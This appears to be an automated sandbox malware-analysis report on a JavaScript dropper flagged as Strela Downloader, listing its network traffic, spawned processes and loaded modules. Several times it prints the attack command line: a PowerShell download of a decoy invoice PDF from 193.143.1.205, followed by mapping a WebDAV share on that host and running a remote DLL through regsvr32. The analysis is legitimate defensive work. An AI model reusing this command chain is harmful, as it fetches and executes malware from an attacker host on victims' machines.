Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2135273573.000001FED075C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2191934210.0000022E958D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191934210.0000022E95898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2191934210.0000022E958D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/(
Source: net.exe, 00000007.00000002.2191934210.0000022E95898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/smZ
Source: svchost.exe, 00000009.00000002.3422118025.0000022106800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2191804615.00000221066E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7096, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1227622214229272730.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.964

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1832:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jcvg5iwb.eyd.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1227622214229272730.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,16891534531806010795,12127977397220961010,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,16891534531806010795,12127977397220961010,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
